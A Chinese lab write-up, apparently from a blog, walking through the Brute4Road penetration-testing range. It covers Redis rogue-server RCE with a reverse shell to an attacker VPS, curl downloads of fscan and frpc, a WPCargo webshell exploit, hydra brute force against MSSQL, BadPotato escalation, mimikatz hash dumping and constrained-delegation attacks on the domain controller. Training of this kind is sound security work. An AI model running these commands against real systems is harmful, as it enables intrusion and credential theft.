【渗透测试】春秋云镜-3-Brute4road靶场探索

admin 2024年2月14日23:47:36评论26 views字数 9160阅读30分32秒阅读模式
【渗透测试】春秋云镜-3-Brute4road靶场探索

补充上篇文章遗漏知识点:

上篇文章中,对Tsclient靶机的渗透测试中的一些细节,没有讲的很清楚,着重讲了CS中转上线不出网主机等等,但是还是遗漏了一些细节,下面进行补充,可能更有助于一些师傅们理解其中的步骤:

01.CrackMapExec工具的使用

见文章即可,这个不多赘述:https://blog.csdn.net/qq_42077227/article/details/130279040

02.使用 smbpasswd 修改 DC01 域控的密码的原理:

找到上篇文章这里的截图,方便大家回忆【渗透测试】春秋云镜-3-Brute4road靶场探索

这里的时候:

python3 smbpasswd.py xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.15 -newpass '123456@qy'+

目前我了解的大概原理是:

  1. 向域控发起请求:使得域控中存储的账户名为Aldrich的用户,将原密码Ald@rLMWuy7Z!#,修改密码为'123456@qy'
  2. 因为你发出的用户名和旧密码是正确的,所以域控选择信任,并执行修改为新密码的指令
  3. 域控以后只要接到了来自Aldrich用户的登录认证请求时,都用新密码
  4. 所以也就是,只要域里,有Aldrich这个用户名的,都需要用新密码登录那台机器

03.映像劫持提权的前提条件(感谢@T4x0r 我兰哥 给的提醒):

同样,先贴图:

【渗透测试】春秋云镜-3-Brute4road靶场探索
【渗透测试】春秋云镜-3-Brute4road靶场探索

这里需要补充的是,关于映像劫持提权,除了文章中说到的,查看注册表权限之外

还需要一个权限:

【渗透测试】春秋云镜-3-Brute4road靶场探索

04.判断主机是否真正在域内:

1.方法一:net config workstation

【渗透测试】春秋云镜-3-Brute4road靶场探索

2.方法二:net time /domain

【渗透测试】春秋云镜-3-Brute4road靶场探索

这两个方法才能真正说明你在域内,而单纯的ipconfig只能说明,主机当前网络存在域

好了,那么先补充到这里,本篇文章的Brute4Road靶机中,仍然会有很多细节我会写多一点,包括坑点,毕竟发文章的目的一是记录,二是希望帮助给那些真正想从靶机攻击手法中学到原理的师傅们提供更多的细节,以免知识断层,文章仅仅沦为自己的记录/复现的工具下面,话不多说,进入本篇正题:

目录:

【渗透测试】春秋云镜-3-Brute4road靶场探索

0x01 获取入口:

本题的前面的目标IP换了好几次,原因是题目环境导致redis只能同时进行一个连接,同时一旦有第二次连接就直接无法继续打了,所以重置了好几次靶机,但WP本身不影响观看

信息搜集:

拿到入口IP之后,同样先进行fscan扫描,看一下都开了哪些端口及服务

【渗透测试】春秋云镜-3-Brute4road靶场探索

下面直接贴上Fscan的扫描结果:

(icmp) Target 39.99.247.116   is alive
[*] Icmp alive hosts len is: 1
39.99.247.116:80 open
39.99.247.116:22 open
39.99.247.116:21 open
39.99.247.116:6379 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle: http://39.99.247.116      code:200 len:4833   title:Welcome to CentOS
[+] Redis:39.99.247.116:6379 unauthorized file:/usr/local/redis/db/dump.rdb
[+] ftp://39.99.247.116:21:anonymous
   [->]pub

可以看到开了redis、ftp服务,主机为centos FTP想直接登上去看看能不能有flag但经过测试发现利用不了,然后尝试redis:

通过redis主从复制实现RCE:

redis常见的利用手法有如下几种:

  1. 写文件:写ssh公钥、写crontab、写webshell
  2. 主从复制/主从同步
  3. lua rce

首先尝试一下写ssh公钥:【渗透测试】春秋云镜-3-Brute4road靶场探索

会提示没有写入权限,看样子ssh公钥等这种写文件的方式应该都不行

【渗透测试】春秋云镜-3-Brute4road靶场探索

那么我们尝试主从复制

主从复制的概念:

redis为了避免单点故障造成的数据丢失,提供了主从同步功能。主从同步可实现当一台主数据库中的数据更新后,自动将更新的数据同步到其他从数据库上。命令行和配置文件中均使用slaveof(replicaof) xxx进行配置。 
  • 适用范围:redis 4.x/5.x
  • 优点:现有exp可直接写入无损文件
  • 缺点:redis版本有一定限制

Redis主从复制利用脚本

https://github.com/n0b0dyCN/redis-rogue-server

【渗透测试】春秋云镜-3-Brute4road靶场探索

一定要提前开好监听,比如nc -lnvp 监听端口,记得确保一致

此处的坑点1:

这里插入一个很蛋疼的点,就是开头说过的,不管你是用exp脚本,还是单纯连接redis-cli -h ip,只能同时进行一个连接,一旦超过了,或者你exp没设置正确,想打第二次,那对不起,会出现下图:

【渗透测试】春秋云镜-3-Brute4road靶场探索
【渗透测试】春秋云镜-3-Brute4road靶场探索

看到这个,我后面怎么连都连不上了,猜测是6379的redis进程只允许一个连接进行,直接挂掉了,只能重置靶机.....(这里蛮无语的,之前好像没遇到过这个情况,靶机很贵,重置很久...) 那么之后的步骤就确定了而且不能出错,提前开好监听端口先:

【渗透测试】春秋云镜-3-Brute4road靶场探索

然后跑脚本:

python3 redis-rogue-server.py --rhost 39.99.129.69 --lhost vps

【渗透测试】春秋云镜-3-Brute4road靶场探索

接下来就收到了反弹的shell,可以看到默认回显不是交互式shell所以不太方便后续操作

【渗透测试】春秋云镜-3-Brute4road靶场探索

通过python -c 'import pty; pty.spawn("/bin/bash")' 获取交互式shell即可 (这里我手残测试了一下有没有python环境,然后就重置了,理由上面说过,很麻)

【渗透测试】春秋云镜-3-Brute4road靶场探索

收到交互式shell,看到权限还是比较低

SUID提权-base64读取flag01:

到这里我先尝试找了一下flag的位置,发现在/home/redis/flag下面,但是没权限打开查看

【渗透测试】春秋云镜-3-Brute4road靶场探索

尝试SUID提权,查看可以利用的命令:

find / -user root -perm -4000 -exec ls -ldb {} ;

【渗透测试】春秋云镜-3-Brute4road靶场探索

但是要注意:这里基本上大多数的命令,都需要你能执行sudo,但是图中可以看到,sudo你执行不了,如图:

【渗透测试】春秋云镜-3-Brute4road靶场探索

查看文件的话,用base64就可以了,毕竟图中可以看到base64也有root的查看权限 

去https://gtfobins.github.io/找一下对应的提权命令

【渗透测试】春秋云镜-3-Brute4road靶场探索
【渗透测试】春秋云镜-3-Brute4road靶场探索

得到第一个flag

0x02 内网渗透:

初步探测内网信息:

关于如何搭建frp反代的话,就不过多赘述了,后面文章如果涉及到内网多层代理的情况,再深入说下吧 

这里的话,需要上传的工具,及准备的环境有:工具:frpc、frps、fscan

vps上:

  1. python起一个web服务,以便入口机远程获取工具
  2. 起一个frps服务

vps上找个目录,提前准备好工具,输入:python -m http.server 端口

【渗透测试】春秋云镜-3-Brute4road靶场探索

这里先扫一波fscan,然后再看传代理:

坑点2:curl和wget下载不到内容,不知道是不是网络问题,重新试了几次又恢复了。。。

curl http://vps:端口/fscan_amd64 --output fscan
chmod +x fscan
【渗透测试】春秋云镜-3-Brute4road靶场探索

后面又是一个坑点3:

但是有个问题,执行fscan之前,你得获取他的内网IP,但你会发现:ifconfig,执行不了,提示没有这个命令

【渗透测试】春秋云镜-3-Brute4road靶场探索

再退一步,ip addr,竟然也不行,这里我懵了一下,因为我认为实际业务中基本很少存在这种情况

【渗透测试】春秋云镜-3-Brute4road靶场探索

然后再次感谢我的t4大哥又教我了,看hosts文件也可能知道IP,得知172.22.2.7为当前入口机IP

【渗透测试】春秋云镜-3-Brute4road靶场探索

./fscan -h 172.22.2.0/24

直接贴上结果:

【渗透测试】春秋云镜-3-Brute4road靶场探索
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.2.3      is alive
(icmp) Target 172.22.2.7      is alive
(icmp) Target 172.22.2.16     is alive
(icmp) Target 172.22.2.18     is alive
(icmp) Target 172.22.2.34     is alive
[*] Icmp alive hosts len is: 5
172.22.2.7:22 open
172.22.2.7:21 open
172.22.2.7:6379 open
172.22.2.16:1433 open
172.22.2.34:445 open
172.22.2.16:445 open
172.22.2.18:445 open
172.22.2.3:445 open
172.22.2.34:139 open
172.22.2.18:139 open
172.22.2.16:139 open
172.22.2.34:135 open
172.22.2.3:139 open
172.22.2.16:135 open
172.22.2.18:80 open
172.22.2.16:80 open
172.22.2.18:22 open
172.22.2.7:80 open
172.22.2.3:88 open
172.22.2.3:135 open
[*] alive ports len is: 20
start vulscan
[+] NetInfo:
[*]172.22.2.3
   [->]DC
   [->]172.22.2.3
[*] 172.22.2.34          XIAORANGCLIENT01          
[*] 172.22.2.3  (Windows Server 2016 Datacenter 14393)
[+] NetInfo:
[*]172.22.2.34
   [->]CLIENT01
   [->]172.22.2.34
[*] 172.22.2.3     [+]DC XIAORANGDC                Windows Server 2016 Datacenter 14393
[*] 172.22.2.16  (Windows Server 2016 Datacenter 14393)
[+] ftp://172.22.2.7:21:anonymous 
   [->]pub
[*] 172.22.2.16          XIAORANGMSSQLSERVER       Windows Server 2016 Datacenter 14393
[*] WebTitle:http://172.22.2.7         code:200 len:4833   title:Welcome to CentOS
[*] 172.22.2.18          WORKGROUPUBUNTU-WEB02      
[*] WebTitle:http://172.22.2.16        code:404 len:315    title:Not Found
[+] NetInfo:
[*]172.22.2.16
   [->]MSSQLSERVER
   [->]172.22.2.16
[*] WebTitle:http://172.22.2.18        code:200 len:57738  title:又一个WordPress站点

提取一下重要信息:

172.22.2.3     [+]DC XIAORANGDC                Windows Server 2016 Datacenter 14393
172.22.2.34          XIAORANGCLIENT01
172.22.2.16          XIAORANGMSSQLSERVER
入口机:http://172.22.2.7         code:200 len:4833   title:Welcome to CentOS
http://172.22.2.18          WORKGROUPUBUNTU-WEB02   WordPress

搭建代理:

代理方式:

Frp反代+本地win的proxifier正代+本地kali的proxychains

实现原理:

入口机为frpc客户端,vps为frps服务端。入口机负责把所有客户端中的流量通过本地一个随机端口转发给vps的反代端口,然后本地的proxifier和proxychains都指向vps的frp反代配置的端口。这样的话,本地的流量经过代理访问到vps的那个端口就等于访问到了内网。

下面开始搭建frp反向代理,我这里直接提前编辑好frpc.ini然后让入口机去远程下载frpc、frpc.ini文件即可 

贴一部分frpc也就是客户端的配置命令:

[common]
# 如果tls_enable为true,则frpc将通过tls连接frps。否则可能运行不起来
tls_enable = true
server_addr = vps
server_port = 7000
[plugin_socks]
type = tcp
remote_port = 7777
plugin = socks5

这个配置之后,即会将客户端中所有的流量通过本地的一个随机端口转发给vps的7000端口,我们访问vps的7777端口就相当于访问客户端的7000端口

同样,vps开启web服务,提供工具

【渗透测试】春秋云镜-3-Brute4road靶场探索

然后靶机上执行:

curl http://vpsip:port/frpc --output frpc
curl http://vpsip:port/frpc.ini --output frpc.ini
./chmod +x ./frpc
nohup ./frpc -c frpc.ini

vps上面执行:./frps -c frps.ini

这里补充一个nohup:其实就是不挂起的意思,这样的话会更稳定,不然不小心退了窗口连接就掉了

【渗透测试】春秋云镜-3-Brute4road靶场探索

本地的proxifier和proxychains就略过了,前面文章中都说过,没必要多复述 

搭建好之后,老样子,curl一下看看内网的web-wordpress能不能访问到:

【渗透测试】春秋云镜-3-Brute4road靶场探索

访问正常,代理搭建成功

WordPress插件RCE拿下内网突破口:

因为内网的机器中,这个WP比较显眼,而且内网起了web一般不会没用,直接打他试一下,wpscan直接扫:

wpscan --url http://172.22.2.18/

【渗透测试】春秋云镜-3-Brute4road靶场探索
【渗透测试】春秋云镜-3-Brute4road靶场探索

github上搜索wpcargo的漏洞,发现WPCargo < 6.9.0的版本中存在未授权RCE漏洞 

搜索第一条就是这个exp:https://github.com/biulove0x/CVE-2021-25003

【渗透测试】春秋云镜-3-Brute4road靶场探索

成功上传了webshell,看一下脚本,不然不知道怎么连接:

【渗透测试】春秋云镜-3-Brute4road靶场探索

然后本地win上蚁剑,蚁剑配置代理的过程不赘述了,而且如果是全局代理,应该也不需要重复配置:

【渗透测试】春秋云镜-3-Brute4road靶场探索

进去之后,翻了一下整个目录,没看到有flag,估计第二个flag不是直接放这里面,接着找一些可不可以有些得以再次被利用的文件:

看到wp内置的数据库配置文件,感觉可以连上去看看:

【渗透测试】春秋云镜-3-Brute4road靶场探索

得到数据库账号密码为:wpuser:WpuserEha8Fgj9。

直接蚁剑连接他的数据库即可,配置如下

【渗透测试】春秋云镜-3-Brute4road靶场探索

进去之后,看到两个有用的信息:

【渗透测试】春秋云镜-3-Brute4road靶场探索

其中一个是flag02,另外则是,有一张包含提示信息的表名:

【渗透测试】春秋云镜-3-Brute4road靶场探索

注意一点就是,这里执行语句默认是limit 0,20也就是只输出20条,那么根据id字段来看,可能有近千条信息,改一下就好,我改成了2000,然后导出这个表,做一个txt字典,后面爆破用 

我这里默认导出来会多空格,所以我做了一个数据处理,分列了一下:

【渗透测试】春秋云镜-3-Brute4road靶场探索

然后丢到kali的hydra里面去爆破:

hydra -L sa.txt -P wp-pass.txt 172.22.2.16 mssql -vv

【渗透测试】春秋云镜-3-Brute4road靶场探索
【渗透测试】春秋云镜-3-Brute4road靶场探索

hydra爆破登录内网MSSQL数据库:

下面我们就登录他内网的这个MSSQL数据库,但是还是遇到了一个坑点:

【渗透测试】春秋云镜-3-Brute4road靶场探索

可以看到我输入了正确的配置信息,但是连接失败,报错显示是访问路径问题,其实是代理问题 

后面讲排错解决的过程,我先说我最开始的平替方案:尝试用navicat登陆进去看看,因为还不确定里面有什么

【渗透测试】春秋云镜-3-Brute4road靶场探索

翻了一通,没啥东西,于是把xp_cmdshell开开看看能不能执行下命令:

【渗透测试】春秋云镜-3-Brute4road靶场探索
【渗透测试】春秋云镜-3-Brute4road靶场探索

但是在到后面,就遇到问题了,那我现在权限不够,想提权,我首先就想的是,这个navicat工具,没法替代刚刚类似MDUT的功能,做上传文件然后提权的操作,也很麻烦,所以来排错代理问题:
为什么proxifier无法加速我MDUT的代理?
1.MDUT本身是jar文件,java运行,是不是没对java代理?
因为proxifier你去手动配置"代理规则"的时候,是只能选中exe的,所以我推测:
他的代理逻辑也只是代理exe程序运行后的流量,即使是全局代理。所以无法加速jar
好,那我就单独对java代理,单独对java运行程序进行但是发现,也不行

【渗透测试】春秋云镜-3-Brute4road靶场探索

2.是不是proxifier并没有给我配置上全局代理?
于是,我打开注册表proxyserver
【渗透测试】春秋云镜-3-Brute4road靶场探索

那就奇怪了,为什么访问不进去?
于是,我想到了另外一个工具,确实可以平替MDUT,而且还蛮好用的我感觉:SharpSQLTools.exe
如图,连接成功,通过代理进入mssql服务器内部:

【渗透测试】春秋云镜-3-Brute4road靶场探索

Ladon坏土豆提权getshell:

因为不确定哪个版本的土豆能成功提权,一开始上传了sweetpotato发现提权失败,所以我直接上了ladon

C:/Users/Public/Ladon911.exe BadPotato whoami

【渗透测试】春秋云镜-3-Brute4road靶场探索

C:/Users/Public/Ladon911.exe BadPotato "netstat -ano"

发现开启了3389端口

【渗透测试】春秋云镜-3-Brute4road靶场探索

C:/Users/Public/Ladon911.exe BadPotato "net user qinyuan 123456@ /add"

C:/Users/Public/Ladon911.exe BadPotato "net localgroup administrators qinyuan /add"

账号密码:qinyuan : 123456@,登录172.22.2.16这台MSSQLSERVER$的RDP

【渗透测试】春秋云镜-3-Brute4road靶场探索

成功登录并找到了flag03

【渗透测试】春秋云镜-3-Brute4road靶场探索

接下来查看这台机器是否在域内:

【渗透测试】春秋云镜-3-Brute4road靶场探索

发现在域内

0x03 域渗透之域内探测:

探测之前,先抓波机器里的哈希,上传mimikatz,然后准备ADfind或者ADinfo等工具来做信息搜集:

【渗透测试】春秋云镜-3-Brute4road靶场探索

privilege::debugsekurlsa::logonpasswords full

提取出来有用的信息发现:

       * Username : MSSQLSERVER$
         * Domain   : XIAORANG
         * NTLM     : ce7440edcaad3d442fa1b3dd6ab1660b
         * SHA1     : 1bc044bb04718f9d988a7613edd988966a84609a

         * Username : William
         * Domain   : XIAORANG
         * NTLM     : 8853911fd59e8d0a82176e085a2157de
         * SHA1     : e4fd18cfd47b9a77836c82283fb560e6f465bc40

然后去定位域控:

【渗透测试】春秋云镜-3-Brute4road靶场探索

根据前面的信息搜集和截图,已经可以确定为2.3是域控 上传了ADinfo后,通过adinfo获取域内信息及资源架构

Adinfo_win.exe -d xiaorang.lab --dc 172.22.2.3 -u MSSQLSERVER$ -H ce7440edcaad3d442fa1b3dd6ab1660b

【渗透测试】春秋云镜-3-Brute4road靶场探索

在结果中发现了这个,域做配置的时候,设置了当前这台机器即:MSSQLSERVER$  - >  DC.xiaorang.lab ldap的约束委派

【渗透测试】春秋云镜-3-Brute4road靶场探索

0x04 域渗透之约束委派:

委派本身,就是一种机制/安全设置, 可以允许某个机器上的服务代表某个用户去执行某个操作。

这里贴一篇帖子:https://cloud.tencent.com/developer/article/1899592

当然,网上还有很多,师傅们如果不清楚约束委派的话可以去看一下。我自认为水平受限,就先不发出来了以免误导了人

下面继续:这里的话,有很多种方式可以来打约束委派

我一开始尝试的是先使用rebeus来申请票据 ,然后注入进去,然后访问域控的文件:

Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:ce7440edcaad3d442fa1b3dd6ab1660b domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap > result.txt

结果发现:

【渗透测试】春秋云镜-3-Brute4road靶场探索

不知道是不是我rebeus当初编译出了问题,但重新编译了下也还是不行,就换了个方式,如下:

回去kali上面打,利用约束委派生成ST票据,再导入票据,然后通过wmiexec获取dc的动态shell

但是这里的话需要注意一个就是,kali你虽然通过代理能访问内网,但是你的dns是没有加xiaorang.lab这个域的 

所以需要加进去,方式有两种:改dns或者改hosts(因为hosts的解析优先级是要高于dns的) 我这边直接改hosts了:

【渗透测试】春秋云镜-3-Brute4road靶场探索

添加好之后,通过impacket的getST脚本,利用约束委派,去生成ST票据

python3 getST.py -dc-ip 172.22.2.3 xiaorang.lab/MSSQLSERVER$ -spn ldap/dc.xiaorang.lab -impersonate administrator -hashes :ce7440edcaad3d442fa1b3dd6ab1660b
【渗透测试】春秋云镜-3-Brute4road靶场探索

下一步就是导入这个生成的票据administrator.ccache,直接终端输入:

export KRB5CCNAME=administrator.ccache

【渗透测试】春秋云镜-3-Brute4road靶场探索

最后,同样的impacket的wmiexec脚本,获取DC的动态shell

python3 wmiexec.py -k -no-pass [email protected]

【渗透测试】春秋云镜-3-Brute4road靶场探索

拿到最后一个flag:

【渗透测试】春秋云镜-3-Brute4road靶场探索

到此结束

【渗透测试】春秋云镜-3-Brute4road靶场探索

谢谢观看,浅学者,不喜勿喷,笔记而已

原文始发于微信公众号(阿原茶庄):【渗透测试】春秋云镜-3-Brute4road靶场探索

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月14日23:47:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【渗透测试】春秋云镜-3-Brute4road靶场探索http://cn-sec.com/archives/2253607.html

发表评论

匿名网友 填写信息